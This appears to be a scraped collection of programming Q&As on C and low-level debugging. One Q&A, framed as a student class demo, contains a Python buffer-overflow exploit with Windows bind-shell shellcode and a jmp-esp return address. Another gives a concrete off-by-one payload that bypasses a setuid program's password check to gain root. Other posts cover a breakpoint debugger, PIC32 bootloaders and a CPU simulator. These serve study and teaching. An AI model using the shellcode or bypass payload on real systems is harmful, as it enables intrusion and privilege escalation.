I write the program in C, and I'm using windows.
I have a program that take an exe from the user, and every 5 instructions I put a break point so it's become harder to crack the program. I'm using disassembly library to make sure that the opcode that I replaced is the first opcode of an instruction. Every time that I replace opcode with 0XCC I write the address of the opcode and the original opcode on a table. After the replace, I open a new process with debug flag and every time there is a break point, the child process throw an exception, and the father process replace the 0XCC with the original opcode. The code that replace the opcode to the original look something like this:
address = (DWORD)debug_event->u.Exception.ExceptionRecord.ExceptionAddress;
if (!VirtualProtectEx(pi->hProcess, (LPVOID)address, sizeof(BYTE), PAGE_READWRITE, &last_protect)) {
log_error("VirtualProtectEx failed LAST ERROR: %d", GetLastError());
goto l_cleanup;
}
log_trace("Trying to write the opcode: [0x%x] to the address: [0x%x]", *opcode, address);
if (!WriteProcessMemory(pi->hProcess, (LPVOID)address, opcode, sizeof(BYTE), &number_of_bytes_write)) {
log_error("WriteProcessMemory failed LAST ERROR: %d", GetLastError());
goto l_cleanup;
}
if (!VirtualProtectEx(pi->hProcess, (LPVOID)address, sizeof(BYTE), last_protect, &last_protect)) {
log_error("VirtualProtectEx failed LAST ERROR: %d", GetLastError());
goto l_cleanup;
}
log_trace("Successfully changed the opcode to the original one");
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi->hThread, &ctx)) {
log_error("GetThreadContext failed LAST ERROR: %d", GetLastError());
goto l_cleanup;
}
log_trace("Trying to change the EIP with the value: [0x%lx] to the value: [0x%x]", ctx.Eip, address);
ctx.Eip -= 1;
if (!SetThreadContext(pi->hThread, &ctx)) {
log_error("SetThreadContext failed LAST ERROR: %d", GetLastError());
goto l_cleanup;
}
I also have a while loop that run until the exception of the exit process.
This is the code that change the instruction and update the table:
address_of_code = text_section.VirtualAddress - text_section.PointerToRawData;
for (INT counter = 0; counter < count - 1; ++counter)
{
if (0 == counter % 5) {
loaded_PE->data[instructions[counter].address] = 0xCC;
info.address = instructions[counter].address + address_of_code;
info.opcode = instructions[counter].bytes[0];
info.length = instructions[counter].size;
log_trace("address: %x", instructions[counter].address +
address_of_code);
log_trace("instruction: %s", instructions[counter].mnemonic);
log_trace("length: %d", instructions[counter].size);
if (!INFO_TABLE__update_table(&info, table)) {
log_error("INFO_TABLE__update_table failed");
goto l_cleanup;
}
}
}
Instructions is an array that I recieve from the library Capstone. The loaded_PE-> store the data of the PE from the client. I call the disassembly function with the address of the entry point and the size of the code - the entry point. Counter is the number of the instructions the capstone library found. Info struct hold the information about the replace.
This is the call for the disassembly library:
count = cs_disasm(handle, data, size_to_modify, entry_point - text_section.VirtualAddress
+ text_section.PointerToRawData, 0, &instructions);
Now to my problem. I'm taking a simple program like this:
int main() {
char str[] = "hello";
printf("%s\n", str);
return 0;
I start to replace the instructions from the entry point. Now if I run the program that debug the new program I get the print and everything works fine. But if I change the number of instructions that I replace to every 10 instructions, I get an error. After the "hello" I get an access violation. After I checked the address of this access violation, I found that the program try to read 4 bytes before the address of the string on the stack and failed.
this is the line that try to read the location
this is the string and the address that the program trying to read
I don't understand why sometimes it's work and sometimes it's not.
One more thing. If I change the program to be like this:
int main() {
char* str = "hello";
printf("%s\n", str);
return 0;
I don't get any errors.
I hope I explained myself fine. Thanks for the help!
Related
May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus insufficient for the shellcode. Any help is appreciated! This is for a class demonstration for beginners, i'm also a student so i'm very new to buffer overflow.
Sample C Program
#include <stdio.h>
#include <string.h>
#pragma warning(disable: 4996)
int root(void)
{
printf("\n Root privileges given to the user \n");
return 0;
}
int user(void){
printf("\n Normal user privileges given to the user \n");
return 0;
}
int main(void)
{
char buff[15];
int pass = 0;
int max = 15;
printf("\n Enter the password : \n");
//fgets(buff, max, stdin);
gets(buff);
if (strcmp(buff, "thegeekstuff"))
{
printf("\n Wrong Password \n");
}
else
{
printf("\n Correct Password \n");
pass = 1;
}
if (pass == 1)
{
root();
} else {
user();
}
return 0;
}
Python Code for Exploit (Win86) - bind_tcp_staged_meterpreter [LPORT=4444]
*Note: added an instruction for (add esp, -1500) before bind shell payload
#! python
import os
import sys
import subprocess
import binascii
import time
ESP_Address = bytes.fromhex('5954C377')
buf = ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()
final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()
sys.exit(0)
Code used to compile c program in windows XP SP 1
gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe
What I've tried....very embarrassing with no success:
Compile C Program with the -Wl,--stack,4194304 option
Tried to increase stack size by creating dummy variables with huge buffers (Apparently, it makes the length of ESP shorter...)
Running cmd as Administrator...
Turning off Firewall
Testing Connectivity with nc IP_ADDRESS 4444 but connection refused (bind shell not generated successfully from exploit code) - will use meterpreter handler once connectivity has successfully established for the staged payload
Notes
The program does not crash with the shellcode as input...However, if a string with 100 characters is inserted, the program crashes.
You didnt describe how you found the return address on the stack and why did you add the 'add esp' so I will just help you get it from the beginning and hope it will help you.
First of all you should run the program in a debugger (I recommend IDA Pro) and start fuzzing it to see where the return address is stored on the stack.
After that try not to use some shellcodes and try to run the root function from the code so if it will work you will be indicated with the output string. The buffer should look like this: "A * return_address_offset + root_address" if it will work you can use a simple shellcode instead of the root function by placing it on the buffer and overwriting the return address with 'jmp esp' so the shellcode that placed on the stack will run. if you wont jump to the shellcode on the stack the program will treat the first 4 bytes of the shellcode like an address and try to go there and most likely that address will be an invalid address so the program crashes.
If you dont understand how it all work you should read about the stack and the calling conventions and how the program calls and returns from function.
There is a tutorial about exploitation it should also help you.
Hope I helped you!
This is going to be a bit abstract due to the specific ARM (LPCXpresso 1115R/303) Cortex M0 and the H6 bluetooth module, and with NXP software there are a ton of driver files that are linked so hopefully the code snip below will be enough to identify the problem.
I am creating a simple menu system through bluetooth. Everything works with communcation. I send the message from the board, it is visible on the phone, I respond and print the value in the console of the program. All are exactly what I want them to be. But this is what happens:
1) start debug session and resume
2) 1st menu sends to phone, correct.
3) Type response to phone and send, correct.
4) message appears in console exactly as entered from phone (Just the number 1 appears)
5) Have if loop that checks to see if Buffer value == '1';
6) must not == 1 because it never enters the loop.
7) reprints the value of the buffer, and it still equals 1.
The only hint I have is a warning that says "makes integer from pointer without a cast [-Wint-conversion]" on the assignment line as indicated below.
void ArmPeripheral() {
UARTCount = 0;
LPC_UART->IER = IER_THRE | IER_RLS; /* Disable RBR */
UARTSend( (uint8_t *)menu1, sizeof(menu1));
LPC_UART->IER = IER_THRE | IER_RLS | IER_RBR; /* Re-enable RBR */
while(1) {
if(UARTCount != 0){
printf("%s 1st print\n",UARTBuffer);
int bVal = UARTBuffer; // This is where the error occurs, tried uint8_t, did not work.
printf("%s This is bVal\n",bVal);
if(bVal == 1) { //have tried 1, '1', and "1" none work
printf("inside loop %s...\n",UARTBuffer);
printf("%s This is bVal\n",bVal);
LEDControl();
}
printf("%s second print\n",UARTBuffer);
UARTCount = 0;
}
}
}
enter image description here
Nevermind, it was just a simple pointer issue. UARTBuffer is a external volatile uint8_t in the UART.c file, and even though it is not defined as a pointer, it is pointing to a buffer somehow.
int bVal = *UARTBuffer;
if(bVal == '1') {
The above worked, but if anyone has any more in depth information that could explain why I would be interested in knowing. This is how I initialized the buffer:
extern volatile uint32_t UARTCount;
extern volatile uint8_t UARTBuffer[BUFSIZE];
I have been trying for the last few weeks to find out why this isn't working. I have tried reading all the documentation I could find on my PIC32 MCU (PIC32MX795F512L) and the XC32 compiler I am using (v1.34) but with no success as of yet.
I need a special constant value written to the physical boot flash address 0x1FC02FEC (Virtual address: 0x9FC02FEC). This constant is 0x3BDFED92.
I have managed to successfully do this on my main program (If I program my pic32 directly using Real ICE) by means of the following command line (Which I put in xc32-ld under "Additional options" under the Project Properties):
--fill=0x3bdfed92#0x9FC02FEC
I am then able to check (Inside my main program) if this address indeed does have the correct value stored inside it, and this works too. I use the following code for that:
if(*(int *)(0x9fc02fec) == 0x3bdfed92)
My problem is the following. I do not want my main program hex file to write the constant into that location. I want my bootloader hex file to do this and my main program must just be able to read that location and see if that constant is there. If I use the --fill command inside the xc32-ld of my bootloader program, it successfully writes the constant just like the main program did (I have tested this by running my bootloader program with the same --fill command in debug mode and checking the 0x1FC02FEC address for the constant). Problem is, when my bootloader reads in a new main program via the MicroSD, and then jumps to the new main program, everything doesn't work. Seems like, before it jumps to the new main program, something bad happens and everything crashes. Almost like writing a value to the 1FC02FEC location is a problem when the program jumps from boot loader to main program.
Is there a reason for this? I hope my explanation is ok, if not then please let me know and I will try reword it in a more understandable way.
I am using the example code provided by Microchip to do the bootloader using the MicroSD card. The following is the code:
int main(void)
{
volatile UINT i;
volatile BYTE led = 0;
// Setup configuration
(void)SYSTEMConfig(SYS_FREQ, SYS_CFG_WAIT_STATES | SYS_CFG_PCACHE);
InitLED();
TRISBbits.TRISB14 = 0;
LATBbits.LATB14 = 0;
ClrWdt();
// Create a startup delay to resolve trigger switch bouncing issues
unsigned char x;
WORD ms = 500;
DWORD dwCount = 25;
while(ms--)
{
ClrWdt();
x=4;
while(x--)
{
volatile DWORD _dcnt;
_dcnt = dwCount*((DWORD)(0.00001/(1.0/GetInstructionClock())/10));
while(_dcnt--)
{
#if defined(__C32__)
Nop();
Nop();
Nop();
#endif
}
}
}
if(!CheckTrigger() && ValidAppPresent())
{
// This means the switch is not pressed. Jump
// directly to the application
JumpToApp();
}
else if(CheckTrigger() && ValidAppPresent()){
if(MDD_MediaDetect()){
if(FSInit()){
myFile = FSfopen("image.hex","r");
if(myFile == NULL){
JumpToApp();
}
}
else{
JumpToApp();
}
}
else{
JumpToApp();
}
}
//Initialize the media
while (!MDD_MediaDetect())
{
// Waiting for media to be inserted.
BlinkLED();
}
// Initialize the File System
if(!FSInit())
{
//Indicate error and stay in while loop.
Error();
while(1);
}
myFile = FSfopen("image.hex","r");
if(myFile == NULL)// Make sure the file is present.
{
//Indicate error and stay in while loop.
Error();
while(1);
}
// Erase Flash (Block Erase the program Flash)
EraseFlash();
// Initialize the state-machine to read the records.
record.status = REC_NOT_FOUND;
while(1)
{
ClrWdt();
// For a faster read, read 512 bytes at a time and buffer it.
readBytes = FSfread((void *)&asciiBuffer[pointer],1,512,myFile);
if(readBytes == 0)
{
// Nothing to read. Come out of this loop
// break;
FSfclose(myFile);
// Something fishy. The hex file has ended abruptly, looks like there was no "end of hex record".
//Indicate error and stay in while loop.
Error();
while(1);
}
for(i = 0; i < (readBytes + pointer); i ++)
{
// This state machine seperates-out the valid hex records from the read 512 bytes.
switch(record.status)
{
case REC_FLASHED:
case REC_NOT_FOUND:
if(asciiBuffer[i] == ':')
{
// We have a record found in the 512 bytes of data in the buffer.
record.start = &asciiBuffer[i];
record.len = 0;
record.status = REC_FOUND_BUT_NOT_FLASHED;
}
break;
case REC_FOUND_BUT_NOT_FLASHED:
if((asciiBuffer[i] == 0x0A) || (asciiBuffer[i] == 0xFF))
{
// We have got a complete record. (0x0A is new line feed and 0xFF is End of file)
// Start the hex conversion from element
// 1. This will discard the ':' which is
// the start of the hex record.
ConvertAsciiToHex(&record.start[1],hexRec);
WriteHexRecord2Flash(hexRec);
record.status = REC_FLASHED;
}
break;
}
// Move to next byte in the buffer.
record.len ++;
}
if(record.status == REC_FOUND_BUT_NOT_FLASHED)
{
// We still have a half read record in the buffer. The next half part of the record is read
// when we read 512 bytes of data from the next file read.
memcpy(asciiBuffer, record.start, record.len);
pointer = record.len;
record.status = REC_NOT_FOUND;
}
else
{
pointer = 0;
}
// Blink LED at Faster rate to indicate programming is in progress.
led += 3;
mLED = ((led & 0x80) == 0);
}//while(1)
return 0;
}
If I remember well (very long time ago I used PIC32) you can add into your linker script:
MEMORY
{
//... other stuff
signature (RX) : ORIGIN = 0x9FC02FEC, length 0x4
}
then
SECTIONS
{
.signature_section:
{
BYTE(0x3b);
BYTE(0xdf);
BYTE(0xed);
BYTE(0x92);
}>signature
}
Googling around I also found out, that you could do that in your source code, I hope...
const int __attribute__((space(prog), address(0x9FC02FEC))) signature = 0x3bdfed92;
In my program I use an attribute to place a certain value at a certain location in memory space. My bootloader and App can read this location. This may be a simpler way for you to do this. This is using xc16 and a smaller part but I've done it on a PIC32 as well.
#define CHECK_SUM 0x45FB
#define CH_HIGH ((CHECK_SUM & 0xFF00) >> 8)
#define CH_LOW ((CHECK_SUM & 0x00FF) >> 0)
const char __attribute__((space(prog), address(APP_CS_LOC))) CHKSUM[2] = {CH_LOW,CH_HIGH};
Just a note, when you read it, it will be in the right format: HIGH->LOW
I am trying to design a pipelined cpu simulator. The code is fairly complex, atleast for me. There are multiple header and source files. The code compiles.
On running, it runs fine in the first iteration(clock cycle). But not so from the iteration. After spending hours on finding the fault, I found out what is wrong but don't know why. Following function:
MemoryAccess(ir, pc, ground, '0', instrMem);
fetches an instruction at index "pc" in instrMem and store it in "ir". Following are the declarations of the variables in the function:
typedef char bit32[33];
bit8 instrMem[4096]; /* instruction memory */
bit32 pc, ir, ground;
The problem is that from the second iteration onwards, value of "ir" remains "00000000". I have checked instrMem, the values are not all 0s. I also checked the working of MemoryAccess() using driver function. It works fine.
I can't undertand why it works fine for the first iteration and not from then on.
Can someone please help. Is there a way of finding out what's wrong?
following is the relevant part of main() function:
for(cycle=0; ; cycle++)
{
/* load IR with PC value */
printf("I am at the beginning of the cycle loop");
MemoryAccess(ir, pc, ground, '0', instrMem);
/* report fetched register values */
printf("cycle: %d, PC: %.32s (%d), IR: %.32s\n\t", cycle, pc, bit32toint(pc), ir);
/* halt check */
if (bit32toint(ir) == 0x0000003F) {
printf("\nmachine halted\n");
break;
}
/* PC + 4 data path */
RCAdder_32(pcPlus4, ground, pc, "00000000000000000000000000000100", '0');
/* jump data path */
shiftleftby2(jumpAddress, ir);
jumpAddress[0] = pcPlus4[0];
jumpAddress[1] = pcPlus4[1];
jumpAddress[2] = pcPlus4[2];
jumpAddress[3] = pcPlus4[3];
/* sign extended / shifted immediate data path */
signextend(immSignExt, &ir[16]);
shiftleftby2(immShifted, immSignExt);
/* control unit data path */
ControlUnit(ir, &ir[26], ®Write, ®Dest,
&memRead, &memWrite, &memToReg,
&jump, &branch, &aluSrc, aluOp);
/* register memory data path - read */
Mux2_5(regWriteAddr, &ir[11], &ir[16], regDest);
registerAccess(®Out1, ®Out2, &ir[6], &ir[11], regWriteAddr, regIn, '0');
/* alu data path */
Mux2_32(aluSrcVal, regOut2, immSignExt, aluSrc);
zero = ALU(&aluOut, regOut1, aluSrcVal, aluOp);
/* branch data path */
RCAdder_32(branchAddress, ground, pcPlus4, immShifted, '0');
Mux2_32(mbranchAddress, pcPlus4, branchAddress, AND2_1(zero, branch));
Mux2_32(pc, mbranchAddress, jumpAddress, jump);
/* main memory data path */
MemoryAccess(memOut, aluOut, regOut2, memWrite, mainMem);
Mux2_32(regIn, aluOut, memOut, memToReg);
/* register memory data path - write */
registerAccess(®Out1, ®Out2, &ir[6], &ir[11], regWriteAddr, regIn, regWrite);
/* dump register memory and signal information */
for (i=0; i < 14; i++) {
inttobitn(i, 5, tmp);
registerAccess(®Out1, ®Out2, tmp, &ir[11], regWriteAddr, regIn, '0');
printf("R%d: %d, ", i, bit32toint(regOut1));
}
printf("\b\b\n\tbranchAddress = %.32s (%d) jumpAddress = %.32s (%d)\n",
branchAddress, bit32toint(branchAddress), jumpAddress, bit32toint(jumpAddress));
printf("\topcode = %.6s, immSignExt = %.32s (%d), immShifted = %.32s (%d), PC+4 = %.32s (%d)\n",
ir, immSignExt, bit32toint(immSignExt), immShifted, bit32toint(immShifted), pcPlus4, bit32toint(pcPlus4));
printf("\tregWrite = %c, regDest = %c, memRead = %c, memWrite = %c, memToReg = %c, jump = %c, branch = %c, aluSrc = %c, aluOp = %.3s, zero = %c\n",
regWrite, regDest, memRead, memWrite, memToReg, jump, branch, aluSrc, aluOp, zero);
getchar();
}
Following is the MemoryAccess() function:
void MemoryAccess(bit32 read_out, bit32 addr, bit32 write_in, signal write_enable, bit8 memory[4096]){
int address= bitntoint(12, addr);
setbit8(read_out, memory[address]);
setbit8(&read_out[8], memory[address+1]);
setbit8(&read_out[16], memory[address+2]);
setbit8(&read_out[24], memory[address+3]);
if (write_enable){
setbit8(memory[address], write_in);
setbit8(memory[address+1], &write_in[8]);
setbit8(memory[address+2], &write_in[16]);
setbit8(memory[address+3], &write_in[24]);
}
}
Setbit8(a, b) copies b into a and appends '\0'.
To long for a comment:
1 The code shown does not seem to be increasing pc.
2 Although you pass '0' as writabel flag, it is not used as intended. You might like to change
if (write_enable)
to be
if (write_enable && ('0' != (*write_enable)))
Due to the former version memory is overwritten with what is referenced by the pointer passed into as 3rd parameter (write_in), which propably are 0s.
This program is running with root privileges on my machine and I need to perform a Stack overflow attack on the following code and get root privileges:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>
void sha256(char *string, char outputBuffer[65])
{
unsigned char hash[SHA256_DIGEST_LENGTH];
int i = 0;
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, string, strlen(string));
SHA256_Final(hash, &sha256);
for(i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
sprintf(outputBuffer + (i * 2), "%02x", hash[i]);
}
outputBuffer[64] = 0;
}
int password_check(char *userpass)
{
char text[20] = "thisisasalt";
unsigned int password_match = 0;
char output[65] = { 0, };
// >>> hashlib.sha256("Hello, world!").hexdigest()
char pass[] = "315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3";
text[0] = 'a';
text[1] = 't';
text[2] = 'j';
text[3] = '5';
text[4] = '3';
text[5] = 'k';
text[6] = '$';
text[7] = 'g';
text[8] = 'f';
text[9] = '[';
text[10] = ']';
text[11] = '\0';
strcat(text, userpass);
sha256(text, output);
if (strcmp(output, pass) == 0)
{
password_match = 1;
}
return (password_match == 1);
}
int main(int argc, char **argv)
{
if (argc < 3)
{
printf("Usage: %s <pass> <command>\n", argv[0]);
exit(1);
}
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
if (password_check(argv[1]))
{
printf("Running command as root: %s\n", argv[2]);
setuid(0);
setgid(0);
system(argv[2]);
}
else
{
printf("Authentication failed! This activity will be logged!\n");
}
return 0;
}
So I try to analyse the program with IDA and I see the text segment going from the lower addresses to the higher addresses, higher than that I see the data and then the bss and finally external commands.
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
Can I somehow give the string to the program by reference? If so how do I do it? (Again, hoping I'm not completely clueless)
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
The stack location varies all the time - you need to look at the value of the ESP/RSP register, its value is the current address of the top of the stack. Typically, variable addressing will be based on EBP rather then ESP, but they both will point to the same general area of memory.
During analysis, IDA sets up a stack frame for each function, which acts much like a struct - you can define variables with types and names in it. This frame is summarized at the top of the function:
Double-clicking it or any local variable in the function body will open a more detailed window. That's as good as you can get without actually running your program in a debugger.
You can see that text is right next to password_match, and judging from the addresses, there are 0x14 bytes allocated for text, as one would expect. However, this is not guaranteed and the compiler can freely shuffle the variables around, pad them or optimize them into registers.
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
You don't need to get around this check, it's already broken enough. There's an off-by-one error.
Stop reading here if you want to figure out the overflow yourself.
The valid range of indices for text spans from text[0] through text[19]. In the code, user input is written to the memory area starting at text[11]. The maximum input length allowed by the strlen check is 10 symbols + the NULL terminator. Unfortunately, that means text[19] contains the 9th user-entered symbol, and the 10th symbol + the terminator overflow into adjacent memory space. Under certain circumstances, that allows you to overwrite the least significant byte of password_match with an arbitrary value, and the second least significant byte with a 0. Your function accepts the password if password_match equals 1, which means the 10th character in your password needs to be '\x01' (note that this is not the same character as '1').
Here are two screenshots from IDA running as a debugger. text is highlighted in yellow, password_match is in green.
The password I entered was 123456789\x01.
Stack before user entered password is strcat'd into text.
Stack after strcat. Notice that password_match changed.